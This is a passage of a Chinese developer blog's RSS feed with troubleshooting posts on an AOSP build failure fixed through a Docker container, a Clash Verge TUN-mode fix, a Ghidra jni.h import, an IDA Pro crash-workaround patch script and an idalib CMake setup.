out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/os/backtrace.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/os/batterystats.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/os/batterytype.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/os/bundle.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/os/cpufreq.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/os/cpuinfo.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/os/data.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/os/enums.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/os/header.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/os/incident.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/os/kernelwake.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/os/looper.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/os/message.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/os/messagequeue.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/os/metadata.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/os/pagetypeinfo.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/os/patternmatcher.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/os/persistablebundle.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/os/powermanager.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/os/procrank.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/os/ps.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/os/statsdata.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/os/system_properties.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/os/worksource.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/providers/settings.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/providers/settings/common.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/providers/settings/global.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/providers/settings/secure.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/providers/settings/system.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/server/activitymanagerservice.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/server/alarmmanagerservice.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/server/animationadapter.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/server/appwindowthumbnail.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/server/backup_chunks_metadata.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/server/enums.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/server/face.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/server/fingerprint.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/server/forceappstandbytracker.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/server/intentresolver.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/server/jobscheduler.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/server/powermanagerservice.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/server/rolemanagerservice.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/server/statlogger.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/server/surfaceanimator.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/server/usagestatsservice.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/server/windowmanagerservice.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/server/windowmanagertrace.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/server/wirelesschargerdetector.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/server/connectivity/data_stall_event.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/server/job/enums.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/server/location/enums.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/service/adb.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/service/appwidget.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/service/battery.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/service/batterystats.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/service/diskstats.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/service/enums.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/service/graphicsstats.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/service/netstats.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/service/network_watchlist.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/service/notification.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/service/package.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/service/print.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/service/procstats.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/service/procstats_enum.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/service/restricted_image.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/service/runtime.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/service/usb.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/stats/enums.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/stats/connectivity/network_stack.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/stats/devicepolicy/device_policy.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/stats/devicepolicy/device_policy_enums.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/stats/dnsresolver/dns_resolver.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/stats/docsui/docsui_enums.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/stats/intelligence/enums.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/stats/launcher/launcher.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/stats/location/location_enums.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/stats/mediametrics/mediametrics.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/stats/storage/storage_enums.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/stats/style/style_enums.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/telecomm/enums.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/telephony/enums.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/util/common.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/util/event_log_tags.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/util/log.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/view/display.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/view/displaycutout.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/view/displayinfo.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/view/enums.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/view/remote_animation_target.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/view/surface.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/view/surfacecontrol.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/view/windowlayoutparams.srcjar out/soong/.intermediates/frameworks/base/framework-javastream-protos/gen/frameworks/base/core/proto/android/wifi/enums.srcjar out/soong/.intermediates/frameworks/base/framework/android_common/gen/sysprop/system/apex/apexd/sysprop/ApexProperties.srcjar out/soong/.intermediates/frameworks/base/framework/android_common/gen/sysprop/system/libsysprop/srcs/android/sysprop/AdbProperties.srcjar out/soong/.intermediates/frameworks/base/framework/android_common/gen/sysprop/system/libsysprop/srcs/android/sysprop/CarProperties.srcjar out/soong/.intermediates/frameworks/base/framework/android_common/gen/sysprop/system/libsysprop/srcs/android/sysprop/ContactsProperties.srcjar out/soong/.intermediates/frameworks/base/framework/android_common/gen/sysprop/system/libsysprop/srcs/android/sysprop/CryptoProperties.srcjar out/soong/.intermediates/frameworks/base/framework/android_common/gen/sysprop/system/libsysprop/srcs/android/sysprop/DisplayProperties.srcjar out/soong/.intermediates/frameworks/base/framework/android_common/gen/sysprop/system/libsysprop/srcs/android/sysprop/SetupWizardProperties.srcjar out/soong/.intermediates/frameworks/base/framework/android_common/gen/sysprop/system/libsysprop/srcs/android/sysprop/TraceProperties.srcjar out/soong/.intermediates/frameworks/base/framework/android_common/gen/sysprop/system/libsysprop/srcs/android/sysprop/VoldProperties.srcjar out/soong/.intermediates/frameworks/base/core/res/framework-res/android_common/gen/R.jar &amp;&amp; prebuilts/jdk/jdk9/linux-x86/bin/java -jar out/soong/host/linux-x86/framework/metalava.jar -encoding UTF-8 -source 1.8 @out/soong/.intermediates/frameworks/base/api-stubs-docs/android_common/check_last_released_api.timestamp.rsp @out/soong/.intermediates/frameworks/base/api-stubs-docs/android_common/last-apicheck/srcjars/list -bootclasspath out/soong/.intermediates/libcore/mmodules/core_platform_api/core.platform.api.stubs/android_common/javac/core.platform.api.stubs.jar:out/soong/.intermediates/libcore/core-lambda-stubs/android_common/javac/core-lambda-stubs.jar -classpath out/soong/.intermediates/frameworks/base/ext/android_common/turbine-combined/ext.jar:out/soong/.intermediates/frameworks/base/framework/android_common/turbine-jarjar/framework.jar:out/soong/.intermediates/frameworks/base/media/updatable_media_stubs/android_common/turbine-combined/updatable_media_stubs.jar:out/soong/.intermediates/frameworks/base/ext/android_common/turbine-combined/ext.jar:out/soong/.intermediates/frameworks/base/framework/android_common/turbine-jarjar/framework.jar:out/soong/.intermediates/frameworks/opt/net/voip/voip-common/android_common/turbine-combined/voip-common.jar -sourcepath &quot;frameworks/base/core/java:frameworks/base/graphics/java:frameworks/base/location/java:frameworks/base/media/java:frameworks/base/media/mca/effect/java:frameworks/base/media/mca/filterfw/java:frameworks/base/media/mca/filterpacks/java:frameworks/base/drm/java:frameworks/base/opengl/java:frameworks/base/sax/java:frameworks/base/telecomm/java:frameworks/base/telephony/java:frameworks/base/wifi/java:frameworks/base/lowpan/java:frameworks/base/keystore/java:frameworks/base/rs/java&quot; --no-banner --color --quiet --format=v2  --manifest frameworks/base/core/res/AndroidManifest.xml --hide-package com.android.okhttp --hide-package com.android.org.conscrypt --hide-package com.android.server --error UnhiddenSystemApi --hide RequiresPermission --hide MissingPermission --hide BroadcastBehavior --hide HiddenSuperclass --hide DeprecationMismatch --hide UnavailableSymbol --hide SdkConstant --hide HiddenTypeParameter --hide Todo --hide Typo --check-compatibility:api:released out/soong/.intermediates/prebuilts/sdk/last-released-public-api/gen/last-released-api.txt --check-compatibility:removed:released frameworks/base/api/removed.txt --merge-qualifier-annotations tools/metalava/manual --merge-qualifier-annotations libcore/ojluni/annotations/sdk  &amp;&amp; touch out/soong/.intermediates/frameworks/base/api-stubs-docs/android_common/check_last_released_api.timestamp &amp;&amp; rm -rf &quot;out/soong/.intermediates/frameworks/base/api-stubs-docs/android_common/last-apicheck/srcjars&quot;) || ( echo -e &quot;\n******************************\nYou have tried to change the API from what has been previously released in\nan SDK.  Please fix the errors listed above.\n******************************\n&quot; ; exit 38 )</span><br><span class="line">Killed</span><br><span class="line">-e </span><br><span class="line">******************************</span><br><span class="line">You have tried to change the API from what has been previously released in</span><br><span class="line">an SDK.  Please fix the errors listed above.</span><br><span class="line">******************************</span><br><span class="line"></span><br><span class="line">17:27:08 ninja failed with: exit status 1</span><br></pre></td></tr></table></figure><p>虽然但是，这俩报错随便 update api 一下就可以编译过了。但是但是但是，它刷进去就一直重启，adbd 都没起来，也看不到日志，试了很多次，甚至重新拉了源码，还是一样的效果。都快怀疑人生了，我就搜啊搜啊搜啊搜，终于这个世界上不止我一个倒霉蛋：</p><blockquote><p><strong>编译 aosp 并且刷入 pixel 后无限重启，各位有什么排查问题妙招</strong><a href="https://www.v2ex.com/t/893452">https://www.v2ex.com/t/893452</a></p><p><img src="/posts/%E8%AE%B0%E4%B8%80%E6%AC%A1%E7%A6%BB%E8%B0%B1%E7%9A%84aosp%E7%BC%96%E8%AF%91%E7%BB%8F%E5%8E%86/85014920730f78006e5824542bdd3e1c.png" alt="image.png"></p></blockquote><h3 id="❓Docker-Ubuntu-18-04"><a href="#❓Docker-Ubuntu-18-04" class="headerlink" title="❓Docker + Ubuntu 18.04"></a>❓Docker + Ubuntu 18.04</h3><p>不理解，但是实在是没活了。抱着试试看的心态，准备起个 docker 编译一手。</p><p>首先是 Dockerfile 如下： </p><figure class="highlight docker"><table><tr><td class="code"><pre><span class="line"><span class="keyword">FROM</span> ubuntu:<span class="number">18.04</span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> apt-get update &amp;&amp; apt-get install -y python3 git-core gnupg flex bison rsync build-essential zip curl zlib1g-dev libc6-dev-i386 x11proto-core-dev libx11-dev lib32z1-dev libgl1-mesa-dev libxml2-utils xsltproc unzip fontconfig</span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> groupadd -g 1000 s1nk &amp;&amp; useradd -u 1000 -g 1000 -m -s /bin/bash s1nk</span></span><br></pre></td></tr></table></figure><p>构建镜像，创建容器并启动</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker build -t aosp-builder:18.04 .</span><br><span class="line">docker run -it --<span class="built_in">rm</span> -u 1000:1000 -v /home/s1nk/mnt_d/aosp_10:/home/aosp aosp-builder:18.04 /bin/bash</span><br></pre></td></tr></table></figure><p><code>-u 1000:1000</code> 设置uid和gid，是为了确保容器内用户与主机用户权限一致，因为我主机拉源码用的用户就是 s1nk(1000)。</p><p>然后继续，三板斧</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">source</span> build/envsetup.sh</span><br><span class="line"></span><br><span class="line">lunch aosp_sailfish-userdebug</span><br><span class="line"></span><br><span class="line">make -j$(<span class="built_in">nproc</span>)</span><br></pre></td></tr></table></figure><p>没有报错！退出docker回到主机设置一下 <code>ANDROID_PRODUCT_OUT</code> 环境变量，刷入即可。</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">export</span> ANDROID_PRODUCT_OUT=/home/s1nk/mnt_d/aosp_10/out/target/product/sailfish/</span><br><span class="line"></span><br><span class="line">fastboot flashall -w</span><br></pre></td></tr></table></figure><p>成功开机，有点说法的。不过我还是不理解… 有懂的哥们可以浇浇我🥺</p>]]>
      </content:encoded>
    </item>
    <item>
      <title>记一次艰难的 Clash Verge rev TUN 模式断网问题解决</title>
      <link>https://blog.gaoyucan.site/posts/%E8%AE%B0%E4%B8%80%E6%AC%A1%E8%89%B0%E9%9A%BE%E7%9A%84-clash-verge-rev-tun-%E6%A8%A1%E5%BC%8F%E6%96%AD%E7%BD%91%E9%97%AE%E9%A2%98%E8%A7%A3%E5%86%B3/</link>
      <description>
        <![CDATA[<p>这是个悲伤且说来话长的故事，2024的12月16日那时的我正在强网杯S8赛场上，莫名其妙发现我的 Clash verge rev TUN 模式用不了，在我盲目的重启了n次之后，问题好像解决了，我就没太在意继续完成比赛。在这之后我的 Clash TUN 模式就一直处于间歇性可]]>
      </description>
      <author>s1nk</author>
      <category domain="https://blog.gaoyucan.site/categories/%E5%BF%83%E6%83%85%E9%9A%8F%E7%AC%94/">心情随笔</category>
      <category domain="https://blog.gaoyucan.site/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E5%9F%BA%E7%A1%80/">计算机基础</category>
      <category domain="https://blog.gaoyucan.site/tags/%E8%B8%A9%E5%9D%91/">踩坑</category>
      <pubDate>Thu, 20 Feb 2025 16:00:00 GMT</pubDate>
      <content:encoded>
        <![CDATA[<p>这是个悲伤且说来话长的故事，2024的12月16日那时的我正在强网杯S8赛场上，莫名其妙发现我的 Clash verge rev TUN 模式用不了，在我盲目的重启了n次之后，问题好像解决了，我就没太在意继续完成比赛。在这之后我的 Clash TUN 模式就一直处于间歇性可用持续性用不了的状态。</p><p>为了解决这个问题，我查看 mihomo (即内核)的日志，日志到处都是 ⇒ <code>dns resolve failed: couldn&#39;t find ip</code> ,于是我搜索相关 issues 但是这些 issues 显然和我的的问题无关，我的问题是开了 TUN 模式之后直接断网，而且我并没有找到别的类似的情况，一直尝试各种方法解决DNS 问题，均无果（因为 DNS 没问题）。</p><p><a href="https://github.com/clash-verge-rev/clash-verge-rev/issues/882">https://github.com/clash-verge-rev/clash-verge-rev/issues/882</a></p><p><a href="https://github.com/clash-verge-rev/clash-verge-rev/issues/467">https://github.com/clash-verge-rev/clash-verge-rev/issues/467</a></p><p>直到今天，我对终端上的网速再次忍无可忍，再次打开日志界面，打开 tun 模式，映入眼帘的是</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">default interface changed by monitor,  =&gt; utun7</span><br></pre></td></tr></table></figure><p>utun7 什么东西，不应该是 en0 吗？然后我才恍然大悟，为什么我的 DNS 一堆错，没网 DNS 坤吧。</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">tun:</span></span><br><span class="line"><span class="attr">auto-detect-interface:</span> <span class="literal">false</span></span><br></pre></td></tr></table></figure><p>也就是</p><p><img src="/posts/%E8%AE%B0%E4%B8%80%E6%AC%A1%E8%89%B0%E9%9A%BE%E7%9A%84-clash-verge-rev-tun-%E6%A8%A1%E5%BC%8F%E6%96%AD%E7%BD%91%E9%97%AE%E9%A2%98%E8%A7%A3%E5%86%B3/251028c5f71afb4f86bf83470d6c08c5.png" alt="image.png"></p><p>然后再在 全局拓展配置 里设置</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">interface-name:</span> <span class="string">en0</span></span><br></pre></td></tr></table></figure>]]>
      </content:encoded>
    </item>
    <item>
      <title>Ghidra JNI.h 导入</title>
      <link>https://blog.gaoyucan.site/posts/ghidra-jni-h-%E5%AF%BC%E5%85%A5/</link>
      <description>
        <![CDATA[<blockquote>
<p>笔者环境：MacOS(arm64) &#x2F; Ghidra 11.3 &#x2F; NDK 21.4.7075529</p>
</blockquote>
<p>File → Parse C Source 然后新建一个空的 Profile 随便个]]>
      </description>
      <author>s1nk</author>
      <category domain="https://blog.gaoyucan.site/categories/%E6%8A%80%E6%9C%AF%E5%88%86%E4%BA%AB/">技术分享</category>
      <category domain="https://blog.gaoyucan.site/tags/Android/">Android</category>
      <category domain="https://blog.gaoyucan.site/tags/%E9%80%86%E5%90%91%E5%B7%A5%E7%A8%8B/">逆向工程</category>
      <pubDate>Tue, 18 Feb 2025 16:00:00 GMT</pubDate>
      <content:encoded>
        <![CDATA[<blockquote><p>笔者环境：MacOS(arm64) &#x2F; Ghidra 11.3 &#x2F; NDK 21.4.7075529</p></blockquote><p>File → Parse C Source 然后新建一个空的 Profile 随便个名字并清空一下，然后在 Source files to Parse 里加入 NDK 里的 jni.h</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">&lt;NDK PATH&gt;/toolchains/llvm/prebuilt/darwin-x86_64/sysroot/usr/include/jni.h</span><br></pre></td></tr></table></figure><p>直接 Parse to Program  cdefs.h 会报错，看起来是这里的 <code>__SIZE_TYPE__</code> 宏没定义</p><p><img src="/posts/ghidra-jni-h-%E5%AF%BC%E5%85%A5/839ac63e3c85d536dea840fee2dcb92e.png" alt="image.png"></p><p>在 Parse Options 里添加即可</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">-D__SIZE_TYPE__=&quot;size_t&quot;</span><br></pre></td></tr></table></figure><p>最终效果如下图：</p><p><img src="/posts/ghidra-jni-h-%E5%AF%BC%E5%85%A5/0f8e92cb4815daad1c3ad59ed316376d.png" alt="image.png"></p>]]>
      </content:encoded>
    </item>
    <item>
      <title>IDA Pro 9.0 ARM64 调试 WZR 寄存器崩溃问题</title>
      <link>https://blog.gaoyucan.site/posts/ida-pro-9-0-arm64-%E8%B0%83%E8%AF%95-wzr-%E5%AF%84%E5%AD%98%E5%99%A8%E5%B4%A9%E6%BA%83%E9%97%AE%E9%A2%98/</link>
      <description>
        <![CDATA[<h2 id="问题描述"><a href="#问题描述" class="headerlink" title="问题描述"></a><strong>问题描述</strong></h2><p>IDA Pro 9.0 （截止至2024年12月26日最新版本，SP1）在调试 ARM64]]>
      </description>
      <author>s1nk</author>
      <category domain="https://blog.gaoyucan.site/categories/%E6%8A%80%E6%9C%AF%E5%88%86%E4%BA%AB/">技术分享</category>
      <category domain="https://blog.gaoyucan.site/tags/%E9%80%86%E5%90%91%E5%B7%A5%E7%A8%8B/">逆向工程</category>
      <category domain="https://blog.gaoyucan.site/tags/IDA-Pro/">IDA Pro</category>
      <pubDate>Wed, 25 Dec 2024 16:00:00 GMT</pubDate>
      <content:encoded>
        <![CDATA[<h2 id="问题描述"><a href="#问题描述" class="headerlink" title="问题描述"></a><strong>问题描述</strong></h2><p>IDA Pro 9.0 （截止至2024年12月26日最新版本，SP1）在调试 ARM64 程序时，鼠标点击或者悬浮在 WZR 寄存器上，如图所示弹框。点击 <code>OK</code> 或 <code>关闭</code> 均导致 IDA Pro 卡死。</p><p><img src="/posts/ida-pro-9-0-arm64-%E8%B0%83%E8%AF%95-wzr-%E5%AF%84%E5%AD%98%E5%99%A8%E5%B4%A9%E6%BA%83%E9%97%AE%E9%A2%98/f1fd24b3d109065e2cd19d3a2f8bd01c.png" alt="image.png"></p><h2 id="问题分析"><a href="#问题分析" class="headerlink" title="问题分析"></a>问题分析</h2><p>Mac 上 IDA 的 arm.dylib inline 有点严重不太好看，这里以 Windows 的为例报错的地方代码如下，确实是没有针对 WZR 寄存器 160 的处理逻辑，导致会弹出这个框。</p><p><img src="/posts/ida-pro-9-0-arm64-%E8%B0%83%E8%AF%95-wzr-%E5%AF%84%E5%AD%98%E5%99%A8%E5%B4%A9%E6%BA%83%E9%97%AE%E9%A2%98/601f219cd07e15edd35cc6bc39e14e1b.png" alt="image.png"></p><p>调试发现点击这个框的 OK，如果再次进入这个弹框的逻辑，就会导致IDA卡死；反之如果OK后没有再次走到这个弹框的逻辑，就没事。所以，应该是UI框架的问题？直接把这个框的显示调用全都NOP 掉就好了。</p><p>附上 SP1 版本 ARM IDA Pro 的 Patch 脚本</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> re</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">main</span>():</span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&#x27;/Users/gaoyucan/Documents/CTF/arm.dylib&#x27;</span>, <span class="string">&#x27;rb&#x27;</span>) <span class="keyword">as</span> fp:</span><br><span class="line">        content = fp.read()</span><br><span class="line">        pattern = re.<span class="built_in">compile</span>(<span class="string">b&#x27;\x00\xD4\x3C\x91....&#x27;</span>)</span><br><span class="line">        content = pattern.sub(<span class="string">b&#x27;\x00\xD4\x3C\x91\x1F\x20\x03\xD5&#x27;</span>, content)</span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&#x27;/Users/gaoyucan/Documents/CTF/arm_patched.dylib&#x27;</span>, <span class="string">&#x27;wb&#x27;</span>) <span class="keyword">as</span> fp:</span><br><span class="line">        fp.write(content)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    main()</span><br></pre></td></tr></table></figure>]]>
      </content:encoded>
    </item>
    <item>
      <title>idalib C++ CMake 项目配置</title>
      <link>https://blog.gaoyucan.site/posts/idalib-c-cmake-%E9%A1%B9%E7%9B%AE%E9%85%8D%E7%BD%AE/</link>
      <description>
        <![CDATA[<p>IDA Pro 9.0 引入了 idalib 强化了 IDA Headless ，可以使用 C++ 和 Python 操作 IDA 自动化对二进制程序进行静态分析，刚好最近项目有批量处理文件的需求，而且 BinaryNinja 试了一下来体验非常差劲，刚好体验一手。</p>]]>
      </description>
      <author>s1nk</author>
      <category domain="https://blog.gaoyucan.site/categories/%E6%8A%80%E6%9C%AF%E5%88%86%E4%BA%AB/">技术分享</category>
      <category domain="https://blog.gaoyucan.site/tags/%E9%80%86%E5%90%91%E5%B7%A5%E7%A8%8B/">逆向工程</category>
      <category domain="https://blog.gaoyucan.site/tags/IDA-Pro/">IDA Pro</category>
      <pubDate>Wed, 11 Dec 2024 16:00:00 GMT</pubDate>
      <content:encoded>
        <![CDATA[<p>IDA Pro 9.0 引入了 idalib 强化了 IDA Headless ，可以使用 C++ 和 Python 操作 IDA 自动化对二进制程序进行静态分析，刚好最近项目有批量处理文件的需求，而且 BinaryNinja 试了一下来体验非常差劲，刚好体验一手。</p><p>官方SDK中提供的例子是基于Makefile的，但是我是 Jetbrains 家的🐶，我必须用 <code>CLion</code> 下面是一个 CMakeLists.txt 的例子。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">cmake_minimum_required(VERSION 3.29)</span><br><span class="line">project(idalib_test)</span><br><span class="line"></span><br><span class="line">set(CMAKE_CXX_STANDARD 20)</span><br><span class="line">set(CMAKE_CXX_STANDARD_REQUIRED True)</span><br><span class="line"></span><br><span class="line">set(IDASDK &quot;/Users/gaoyucan/Documents/idapro/idasdk90&quot;)</span><br><span class="line">set(IDADIR &quot;/Applications/IDA Professional 9.0.app/Contents/MacOS&quot;)</span><br><span class="line"></span><br><span class="line">set(IDALIBLIB $&#123;IDADIR&#125;/libidalib.dylib)</span><br><span class="line">set(IDALIB $&#123;IDADIR&#125;/libida.dylib)</span><br><span class="line">set(IDAPROINCLUDE $&#123;IDASDK&#125;/include)</span><br><span class="line"></span><br><span class="line">add_executable(idalib_test main.cpp)</span><br><span class="line">target_link_libraries(idalib_test PRIVATE $&#123;IDALIBLIB&#125; $&#123;IDALIB&#125;)</span><br><span class="line">target_include_directories(idalib_test PRIVATE $&#123;IDAPROINCLUDE&#125;)</span><br><span class="line">target_compile_definitions(idalib_test PRIVATE __MAC__=1 __ARM__=1 __EA64__=1)</span><br></pre></td></tr></table></figure>]]>
      </content:encoded>
    </item>
    <item>
      <title>字体反爬对抗</title>
      <link>https://blog.gaoyucan.site/posts/%E5%AD%97%E4%BD%93%E5%8F%8D%E7%88%AC%E5%AF%B9%E6%8A%97/</link>
      <description>
        <![CDATA[<p>界面上显示明明是这个，复制下来却是 “<em>微北班略声讲哪取，随土便常师想纪撰还，提述融售母酒纪个？</em>” 简单分析后发现这些文字都使用了特殊的反爬字体，其实就是经过了置换处理。</p>
<p><img src="/posts/%E5%AD%97%E4%BD%93%]]>
      </description>
      <author>s1nk</author>
